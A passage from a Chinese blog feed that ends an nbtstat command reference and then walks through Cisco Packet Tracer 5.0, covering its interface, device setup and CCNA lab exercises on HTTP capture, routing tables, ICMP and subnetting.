<p>要显示本地计算机的 NetBIOS 名称表，请键入： </p>
<p>nbtstat -n </p>
<p>要显示本地计算机 NetBIOS 名称缓存的内容，请键入： </p>
<p>nbtstat -c </p>
<p>要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目，请键入： </p>
<p>nbtstat -R </p>
<p>要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册，请键入： </p>
<p>nbtstat -RR </p>
<p>要每 5 秒以 IP 地址显示 NetBIOS 会话统计资料，请键入： </p>
nbtstat -S 5
<img src ="http://www.blogjava.net/shiliqiang/aggbug/291703.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-08-18 21:36 <a href="http://www.blogjava.net/shiliqiang/articles/291703.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Packet Tracer 5.0 用法</title><link>http://www.blogjava.net/shiliqiang/articles/290749.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Wed, 12 Aug 2009 01:39:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/290749.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/290749.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/290749.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/290749.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/290749.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font size="3" color="#ff0000"><strong>第一篇、熟悉界面</strong></font></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong></strong></span>&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#990000"><strong>一、设备的选择与连接</strong></font></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;">在界面的左下角</span><span style="font-family: 宋体;">一块区域，这里有许多种类的硬件设备，从左至右，从上到下</span><span style="font-family: 宋体;">依次为路由器、交换机、集线器、无线设备、设备之间的连线（</span><span><font face="Times New Roman">Connections</font></span><span style="font-family: 宋体;">）、终端设备、仿真广域网、</span><span><font color="#009900" face="Times New Roman"><u>Custom Made Devices</u></font></span><span style="font-family: 宋体;"><font color="#009900"><u>（自定义设备）</u></font>下面着重讲一下&#8220;</span><span><font face="Times New Roman">Connections</font></span><span style="font-family: 宋体;">&#8221;，用鼠标点一下它之后，在右边你会看到各种类型的线，依次为</span><span><font color="#000000" face="Times New Roman">Automatically Choose Connection Type</font></span><span style="font-family: 宋体;">（自动选线，万能的，一般不建议使用，除非你真的不知道设备之间该用什么线）、控制线、直通线、交叉线、光纤、电话线、同轴电缆、</span><span><font color="#000000" face="Times New Roman">DCE</font></span><span style="font-family: 宋体;">、</span><span><font face="Times New Roman">DTE</font></span><span style="font-family: 宋体;">。其中</span><span><font face="Times New Roman">DCE</font></span><span style="font-family: 宋体;">和</span><span><font face="Times New Roman">DTE</font></span><span style="font-family: 宋体;">是用于路由器之间的连线，实际当中，你需要把</span><span><font face="Times New Roman">DCE</font></span><span style="font-family: 宋体;">和一台路由器相连，</span><span><font face="Times New Roman">DTE</font></span><span style="font-family: 宋体;">和另一台设备相连。而在这里，你只需选一根就是了，若你选了</span><span><font face="Times New Roman">DCE</font></span><span style="font-family: 宋体;">这一根线，则和这根线先连的路由器为</span><span><font face="Times New Roman">DCE</font></span><span style="font-family: 宋体;">，配置该路由器时需配置时钟哦。交叉线只在路由器和电脑直接相连，或交换机和交换机之间相连时才会用到。</span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#009900"><strong>注释：</strong>那么<span><font color="#009900" face="Times New Roman"><u>Custom Made Devices</u>设
备是做什么的呢？通过实验发现当我们用鼠标单击不放开左键把位于第一行的第一个设备也就是Router中的任意一个拖到工作区，然后再拖一个然后我们尝试
用串行线Serial
DTE连接两个路由器时发现，他们之间是不会正常连接的，原因是这两个设备初始化对然虽然都是模块化的，但是没有添加，比如多个串口等等。那么，这个<span><font color="#009900" face="Times New Roman"><u>Custom Made Devices</u>设备就比较好了，他会自动添加一些&#8220;必须设备的&#8221;，在实验环境下每次选择设备就不用手动添加所需设备了，使用起来很方便，除非你想添加&#8220;用户自定义设备&#8221;里没有的设备再添加也不迟。</font></span></font></span></font></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#009900"><span><font color="#009900" face="Times New Roman"></font></span></font></span><span style="font-family: 宋体;">当你需要用哪个设备的时候，先用鼠标单击一下它，然后在中央的工作区域点一下就</span><span><font face="Times New Roman">OK</font></span><span style="font-family: 宋体;">了，或者直接用鼠标摁住这个设备把它拖上去。连线你就选中一种线，然后就在要连接的线的设备上点一下，选接口，再点另一设备，选接口就</span><span><font face="Times New Roman">OK</font></span><span style="font-family: 宋体;">了。注意，接口可不能乱选哦。连接好线后，你可以把鼠标指针移到该连线上，你就会线两端的接口类型和名称哦，配置的时候要用到它。</span></p>
<font size="2"><span><font face="Times New Roman">&nbsp;</font></span> </font>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong><font color="#990000">二、对设备进行编辑</font></strong></span><span style="font-family: 宋体;"><strong><font color="#990000">在右边有一个区域</font></strong>，如图</span><span><font face="Times New Roman">1.2</font></span><span style="font-family: 宋体;">所示，从上到下依次为选定</span><span><font face="Times New Roman">/</font></span><span style="font-family: 宋体;">取消、移动（总体移动，移动</span><span style="font-family: 宋体;">某一</span><span style="font-family: 宋体;">设备，直接拖动它就可以了）、</span><span><font color="#ff0000" face="Times New Roman"><strong>Place Note</strong></font></span><span style="font-family: 宋体;">（先选中）、删除、</span><span><font face="Times New Roman">Inspect</font></span><span style="font-family: 宋体;">（选中后，在路由器、</span><span><font face="Times New Roman">PC</font></span><span style="font-family: 宋体;">机上可看到各种表，如路由表等）、</span><span><font face="Times New Roman">simple PPD</font></span><span style="font-family: 宋体;">、</span><span><font face="Times New Roman">complex</font></span><span style="font-family: 宋体;">。</span></p>
<span style="font-family: 宋体;">
<div align="center">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114132446.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
</div>
</span><font size="2"><span><font face="Times New Roman">&nbsp;</font></span><font face="宋体"> </font></font>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong><font color="#990000">三、Realtime mode(实时模式)和Simulation mode（模拟模式）</font></strong></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#000000">注意到软件界面的最右下角有两个切换模式，分别是</font><font color="#000000"><u>Realtime mode(实时模式)和Simulation mode（模拟模式）</u>，
实时模式顾名思意即时模式，也就是说是真实模式。举个例子，两台主机通过直通双绞线连接并将他们设为同一个网段，那么A主机PingB主机时，瞬间可以完
成，对吗？这就是实时模式。而模拟模式呢，切换到模拟模式后主机A的CMD里将不会立即显示ICMP信息，而是软件正在模拟这个瞬间的过程，以人类能够理
解的方式展现出来</font></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#000000"><strong>1)有趣的Flash动画 </strong>怎么实现呢，你只需点击Auto Capture（自动捕获），那么直观、生动的Flash动画即显示了网络数据包的来龙去脉&#8230;&#8230;这是该软件的一大闪光点，随后会举例详细介绍的。</font></span></p>
<div align="center">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114132314.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
</div>
<div align="center">本地主机PC0对远程主机PC2执行Ping命令</div>
<div align="center">&nbsp;</div>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong>2)</strong>单击Simulate mode会出现Event List对话框，该对话框显示当前捕获到的数据包的详细信息，包括<strong><u>持续时间、源设备、目的设备、协议类型和协议详细信息</u>，</strong>非常直观！</span></p>
<span style="font-family: 宋体;">
<div align="center">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114132159.jpg" />500)this.width=500;" border=0&gt;</div>
</div>
</span>
<p style="margin: 0cm 0cm 0pt;">&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;">3）要了解协议的详细信息，请单击显示不用颜色的协议类型信息Info，这个功能非常强大：很详细的OSI模型信息和各层PDU。</span></p>
<span style="font-family: 宋体;">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114133056.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
</span>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font size="3" color="#ff0000"><strong></strong></font></span>&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font size="3" color="#ff0000"><strong></strong></font></span>&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font size="3" color="#ff0000"><strong>第二篇、设备管理</strong></font></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong></strong></span>&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#000000">Packet Tracer 5.0提供了很多典型的网络设备，它们有各自迥然不同的功能，自然管理界面和使用方式也不同。这里我就不一一介绍了，只详细介绍一下PC机和路由器这两个设备的设备管理方法，其他设备大家自行研究。</font></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong><font color="#990000">一、PC机</font></strong></span></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><strong></strong></span>&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;"><font color="#000000">一
般情况下，PC机不像路由器有CLI，它只需要在图形界面下简单地配置一下就行了。一般通过Desktop选项卡下面的IP
Configuation就行实现简单的IP地址、子网、网关和DNS的配置。此外还提供了拨号、终端、命令行（只能执行一般的网络命令）、Web浏览器
和无线网络功能。如果要设置PC机自动获取IP地址，可以在Config选项卡里的Global Settings设置。</font></span></p>
<p style="margin: 0cm 0cm 0pt;">&nbsp;</p>
<p style="margin: 0cm 0cm 0pt;"><strong><span style="font-family: 宋体;"><font color="#990000">二、路由器</font></span></strong></p>
<p style="margin: 0cm 0cm 0pt;"><span style="font-family: 宋体;">选好设备，连好线后就可以直接进行配置了，然而有些设备，如某些路由器需添加一些模块才能用。直接点一下设备，就进入了其属性配置界面。这里只举例介绍路由器和</span><span><font face="Times New Roman">PC</font></span><span style="font-family: 宋体;">机，其他的自己研究。</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 18pt;"><span style="font-family: 宋体;">有</span><span><font face="Times New Roman">Physical</font></span><span style="font-family: 宋体;">、</span><span><font face="Times New Roman">config</font></span><span style="font-family: 宋体;">、</span><span><font face="Times New Roman">CLI</font></span><span style="font-family: 宋体;">三个，在</span><span><font face="Times New Roman">Physical</font></span><span style="font-family: 宋体;">中，</span><span><font color="#800000" face="Times New Roman">MODULES</font></span><span style="font-family: 宋体;">（模块）下有许多模块，最常用的有</span><span><font color="#800000" face="Times New Roman">WIC-1T</font></span><span style="font-family: 宋体;">和</span><span><font color="#800000" face="Times New Roman">WIC-2T</font></span><span style="font-family: 宋体;">。在最下面的左边是该对该模块的文字描述，最下面的右边是该模块的图。</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt;"><span style="font-family: 宋体;">在模块的右边是该路由器的图。可看它的上面有许多现成的接口，在图的矩形框中。也有许多空槽，图中用椭圆标出，在空槽上可添加模块，如</span><span><font face="Times New Roman">WIC-1T</font></span><span style="font-family: 宋体;">，</span><span><font face="Times New Roman">WIC-2T</font></span><span style="font-family: 宋体;">，
用鼠标左键按住该模块不放，拖到你想放的插槽中即可添加，不过这样你肯定不会成功哦，因为你还没有关闭电源哦。电源位置如图所示，就是带绿点的那个东西
哦。绿色表示开哦，路由器默认情况下电源是开的哦。用鼠标点一下绿点那里，它就会关闭哦。记得添加模块后重新打开电源，这是路由器又重新启动了哦。如果你
没有添加</span><span><font face="Times New Roman">WIC-1T</font></span><span style="font-family: 宋体;">或</span><span><font face="Times New Roman">WIC-2T</font></span><span style="font-family: 宋体;">这一模块，当你用</span><span><font face="Times New Roman">DTE</font></span><span style="font-family: 宋体;">或</span><span><font face="Times New Roman">DCE</font></span><span style="font-family: 宋体;">线连接两台路由器（</span><span><font face="Times New Roman">Router PT</font></span><span style="font-family: 宋体;">除外）时，你会发觉根本连不了，因为它还没有</span><span><font face="Times New Roman">Serial </font></span><span style="font-family: 宋体;">这一接口啊，你叫它怎么连，哈哈。</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt;"><span style="font-family: 宋体;">在</span><span><font face="Times New Roman">Config</font></span><span style="font-family: 宋体;">中，你就可以设置路由器的显示名称、查看和配置路由协议与接口，你会发现这里有</span><span><font face="Times New Roman">Serial</font></span><span style="font-family: 宋体;">口了哦。不过不推荐在这里进行配置哦，在买来的路由器上你还能这样做吗？！</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt;"><span><font face="Times New Roman">CLI</font></span><span style="font-family: 宋体;">就不说了，命令行配置界面（也称现金行接口<img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://www.cublog.cn/images/face/003.gif" />）——属于CCNA展现技能的舞台。随后将以例子的方式详细描述。</span></p>
<font size="2"></font>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div><font size="3" color="#ff0000" face="Times New Roman"><strong>第三篇、实战</strong></font></div>
<div><font size="2" color="#000000" face="Times New Roman">说了那么多了，这个软件到底型不型？我们实战一下&#8230;&#8230;</font></div>
<div>
<div><font color="#009900">实例1、<strong>研究应用层和传输层协议</strong></font></div>
<div><strong><font color="#009900">
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>13KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120154457.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</font></strong></div>
<div><strong><font color="#009900">拓扑图如下：</font></strong></div>
<div><strong><font color="#009900">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114134607.jpg" />500)this.width=500;" border=0&gt;</div>
</font></strong></div>
<div>地址表<br />
本练习不包括地址表。<br />
学习目标<br />
从 PC 使用 URL 捕获 Web 请求 <br />
运行模拟并捕获通信 <br />
研究捕获的通信 <br />
简介：<br />
Wireshark
可以捕获和显示通过网络接口进出其所在 PC 的所有网络通信。Packet Tracer
的模拟模式可以捕获流经整个网络的所有网络通信，但支持的协议数量有限。为尽可能接近实验 4.5.3 的设置，我们将使用一台 PC 直接连接到
Web 服务器网络，并捕获使用 URL 的网页请求。 </div>
<div>任务 1：从 PC 使用 URL 捕获 Web 请求。<br />
<strong><font color="#990000"><u>步骤 1. 运行模拟并捕获通信。</u></font></strong> 进入 Simulation（模拟）模式。单击 PC。在 Desktop（桌面）上打开 Web Browser（Web 浏览器）。在浏览器中输入 <a href="http://www.example.com/">www.example.com</a>。
单击 Go（转到）将会发出 Web 服务器请求。最小化 Web 客户端配置窗口。Event List（事件列表）中将会显示两个数据包：将
URL 解析为服务器 IP 地址所需的 DNS 请求，以及将服务器 IP 地址解析为其硬件 MAC 地址所需的 ARP 请求。<br />
单击 Auto Capture/Play（自动捕获/播放）按钮以运行模拟和捕获事件。收到 "No More Events"（没有更多事件）消息时单击 OK（确定）。<br />
<font color="#990000"><strong><u>步骤 2. 研究捕获的通信。</u></strong></font>
在 Event List（事件列表）中找到第一个数据包，然后单击 Info（信息）列中的彩色正方形。单击事件列表中数据包的
Info（信息）正方形时，将会打开 PDU Information（PDU 信息）窗口。此窗口将按 OSI
模型组织。在我们查看的第一个数据包中，注意 DNS 查询（第 7 层）封装在第 4 层的 UDP
数据段中，等等。如果单击这些层，将会显示设备（本例中为 PC）使用的算法。查看每一层发生的事件。<br />
打开 PDU
Information（PDU 信息）窗口时，默认显示 OSI Model（OSI 模型）视图。此时单击 Outbound PDU
Details（出站 PDU 详细数据）选项卡。向下滚动到此窗口的底部，您将会看到 DNS 查询在 UDP 数据段中封装成数据，并且封装于
IP 数据包中。<br />
查看 PDU 信息，了解交换中的其余事件。<br />
在此任务结束时，完成率应为 100%。 </div>
<div>&nbsp;</div>
<div>&nbsp;</div>
</div>
<div><font size="2" face="Times New Roman"><font color="#009900">实例2、<strong>检查路由
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>61KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081114133908.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</strong></font></font></div>
<div><strong><font size="2" color="#009900" face="Times New Roman">拓扑图如下：</font></strong></div>
<div>
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114133730.jpg" />500)this.width=500;" border=0&gt;</div>
</div>
<div>地址表<br />
本练习不包括地址表。<br />
学习目标<br />
使用 route 命令查看 PT-PC 路由表 <br />
使用命令提示符 telnet 连接到 Cisco 路由器 <br />
使用基本的 Cisco IOS 命令检查路由器的路由。 <br />
简介：<br />
要
通过网络传输数据包，设备必须知道通往目的网络的路由。本实验将比较在 Windows 计算机和 Cisco
路由器中分别是如何使用路由的。有些路由已根据网络接口的配置信息被自动添加到了路由表中。若网络配置了 IP
地址和网络掩码，设备会认为该网络已直接连接，网络路由也会被自动输入到路由表中。对于没有直接连接但配置了默认网关 IP
地址的网络，将发送通信到知道该网络的设备。</div>
<div><u><strong><font color="#990000">任务 1：查看路由表</font><br />
</strong></u>步骤 1. 访问命令提示符。<br />
单击 PC&gt; Desktop（桌面）选项卡&gt; Command Prompt（命令提示符）<br />
步骤 2. 键入 netstat -r 以查看当前的路由表。<br />
注意：Packet Tracer 4.1 不支持用于检查 PC 上活动路由的 ROUTE 命令。与 netstat -r 命令不同，route 命令可用于查看、添加、删除或更改路由表条目。 <br />
在此任务结束时，完成率应为 100%。</div>
<div><u><strong><font color="#990000">任务 2：使用命令提示符 Telnet 连接到路由器</font></strong></u><br />
步骤 1. 使用命令提示符作为 Telnet 客户端。<br />
单
击 PC &gt; Desktop（桌面）选项卡&gt; Command Prompt（命令提示符）打开命令提示符窗口。然后键入命令
telnet 及远程路由器默认网关的 IP 地址 (172.16.255.254)。需要输入的用户名为 ccna1，口令为 cisco。 <br />
注意：键入时看不到口令。<br />
在此任务结束时，完成率应为 100%。</div>
<div><font size="2" face="Times New Roman"><strong><u><font color="#990000">任务 3：使用基本的 Cisco IOS 命令检查路由器的路由<br />
</font></u></strong>步骤 1. 学习特权模式<br />
登录到远程路由器之后，键入 enable 进入特权模式。此处需要输入的口令为 class。 在键入时仍然看不到口令。<br />
步骤 2. 输入命令以显示路由器的路由表。 <br />
使用 show ip route 命令显示路由表，它比主机计算机上显示的路由表更加详细。这是正常行为，因为路由器的工作就是在网络之间路由通信。</font></div>
<div><font size="2" face="Times New Roman">IP 掩码信息如何显示在路由器的路由表中？<br />
在此任务结束时，完成率应为 100%。 </font></div>
<div>&nbsp;</div>
<div><font color="#009900">实例3、<strong>研究 ICMP 数据包</strong></font></div>
<div>
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>34KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120175751.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div><strong><font color="#009900">拓扑图如下：
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114135017.jpg" />500)this.width=500;" border=0&gt;</div>
</font></strong></div>
<div><strong></strong>&nbsp;</div>
<div>学习目标<br />
了解 ICMP 数据包的格式 <br />
使用 Packet Tracer 捕获并研究 ICMP 报文 <br />
简介：<br />
Wireshark
可以捕获和显示通过网络接口进出其所在 PC 的所有网络通信。Packet Tracer
的模拟模式可以捕获流经整个网络的所有网络通信，但支持的协议数量有限。为尽可能接近实验 6.7.2
的设置，我们使用的网络中包含一台通过路由器连接到服务器的 PC，并且可以捕获从 PC 发出的 ping 命令的输出。 </div>
<div>任务 1：使用 Packet Tracer 捕获和研究 ICMP 报文。<br />
<strong><font color="#990000">步骤 1. 捕获并评估到达 Eagle Server 的 ICMP 回应报文。</font></strong>
进入 Simulation（模拟）模式。Event List Filters（事件列表过滤器）设置为只显示 ICMP 事件。单击 Pod
PC。从 Desktop（桌面）打开 Command Prompt（命令提示符）。 输入命令 ping
eagle-server.example.com 并按 Enter 键。最小化 Pod PC 配置窗口。单击 Auto
Capture/Play（自动捕获/播放）按钮以运行模拟和捕获事件。收到 "No More Events"（没有更多事件）消息时单击
OK（确定）。</div>
<div>在 Event List（事件列表）中找到第一个数据包，即第一条回应请求，然后单击
Info（信息）列中的彩色正方形。单击事件列表中数据包的 Info（信息）正方形时，将会打开 PDU Information（PDU
信息）窗口。单击 Outbound PDU Details（出站 PDU 详细数据）选项卡以查看 ICMP 报文的内容。请注意，Packet
Tracer 只显示 TYPE（类型）和 CODE（代码）字段。</div>
<div>要模拟 Wireshark 的运行，请在其中 At Device（在设备）显示为 Pod PC 的下一个事件中，单击其彩色正方形。这是第一条应答。单击 Inbound PDU Details（入站 PDU 详细数据）选项卡以查看 ICMP 报文的内容。<br />
查看 At Device（在设备）为 Pod PC 的其余事件。完成时单击 Reset Simulation（重置模拟）按钮。 <br />
<font color="#990000"><strong>步骤 2. 捕获并评估到达 192.168.253.1 的 ICMP 回应报文。</strong></font> 使用 IP 地址 192.168.253.1 重复步骤 1。观看动画，注意哪些设备参与交换。 <br />
步骤 3. 捕获并评估超过 TTL 值的 ICMP 回应报文。 Packet Tracer 不支持 ping -i 选项。在模拟模式中，可以使用 Add Complex PDU（添加复杂 PDU）按钮（开口的信封）设置 TTL。</div>
<div>单击 Add Complex PDU（添加复杂 PDU）按钮，然后单击 Pod PC（源）。将会打开 Create Complex
PDU（创建复杂 PDU）对话框。在 Destination IP Address:（目的 IP 地址：） 字段中输入
192.168.254.254。将 TTL: 字段中的值改为 1。在 Sequence Number（序列号）字段中输入 1。在
Simulation Settings（模拟设置）下选择 Periodic（定期） 选项。在 Interval（时间间隔）字段中输入 2。单击
Create PDU（创建 PDU）按钮。此操作等同于从 Pod PC 上的命令提示符窗口发出命令 ping -t -i 1
192.168.254.254。</div>
<div>重复单击 Capture/Forward（捕获/转发）按钮，以在 Pod PC 与路由器之间生成多次交换。</div>
<div>在 Event List（事件列表）中找到第一个数据包，即第一个回应请求。然后单击
Info（信息）列中的彩色正方形。单击事件列表中数据包的 Info（信息）正方形时，将会打开 PDU Information（PDU
信息）窗口。单击 Outbound PDU Details（出站 PDU 详细数据）选项卡以查看 ICMP 报文的内容。</div>
<div>要模拟 Wireshark 的运行，请在其中 At Device（在设备）为 Pod PC 的下一个事件中，单击其彩色正方形。这是第一条应答。单击 Inbound PDU Details（入站 PDU 详细数据）选项卡以查看 ICMP 报文的内容。<br />
查看 At Device（在设备）为 Pod PC 的其余事件。 <br />
在此任务结束时，完成率应为 100%。 </div>
<div>&nbsp;</div>
<div><font color="#009900">实例4、<strong>子网和路由器配置</strong></font></div>
<div><strong><font color="#009900">拓扑图如下：</font></strong></div>
<div><strong><font color="#009900">
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>28KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120180055.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</font></strong></div>
<div>
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081114135300.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
</div>
<div>地址表<br />
本练习不包括地址表。<br />
学习目标<br />
根据要求划分子网的地址空间 <br />
分配适当的地址给接口并进行记录 <br />
配置并激活 Serial 和 FastEthernet 接口 <br />
测试和验证配置 <br />
思考网络实施并整理成文档 <br />
简介：<br />
在本 PT 练习中，需要为拓扑图中显示的拓扑设计并应用 IP 编址方案。将会为您分配一个地址块，您必须划分子网，为网络提供逻辑编址方案。然后就可以根据 IP 编址方案配置路由器接口地址。当配置完成时，请验证网络可以正常运作。</div>
<div><font color="#990000"><strong>任务 1：划分子网的地址空间。</strong></font> <br />
<u>步骤 1. 检查网络要求。</u> <br />
已经有 192.168.1.0/24 地址块供您用于网络设计。网络包含以下网段： <br />
连接到路由器 R1 的 LAN 要求具有能够支持 15 台主机的 IP 地址。&nbsp;&nbsp; <br />
连接到路由器 R2 的 LAN 要求具有能够支持 30 台主机的 IP 地址。&nbsp;&nbsp; <br />
路由器 R1 与路由器 R2 之间的链路要求链路的每一端都有 IP 地址。 <br />
不要在本练习中使用可变长子网划分。 <br />
<u>步骤 2. 在设计网络时要考虑以下问题。</u> <br />
在笔记本或单独的纸张中回答以下问题。<br />
此网络需要多少个子网？ <br />
此网络以点分十进制格式表示的子网掩码是什么？ <br />
此网络以斜杠格式表示的子网掩码是什么？ <br />
每个子网有多少台可用的主机？ <br />
<u>步骤 3. 分配子网地址给拓扑图。</u> <br />
分配第二个子网给连接到 R1 的网络。 <br />
分配第三个子网给 R1 与 R2 之间的链路。 <br />
分配第四个子网给连接到 R2 的网络。 <br />
在此任务结束时，完成率应为 0%。 </div>
<div><strong><font color="#990000">任务 2：确定接口地址。 <br />
</font></strong><u>步骤 1：分配适当的地址给设备接口。</u> <br />
分配第二个子网中第一个有效的主机地址给 R1 的 LAN 接口。 <br />
分配第二个子网中最后一个有效的主机地址给 PC1。 <br />
分配第三个子网中第一个有效的主机地址给 R1 的 WAN 接口。 <br />
分配第三个子网中最后一个有效的主机地址给 R2 的 WAN 接口。 <br />
分配第四个子网中第一个有效的主机地址给 R2 的 LAN 接口。 <br />
分配第四个子网中最后一个有效的主机地址给 PC2。 <br />
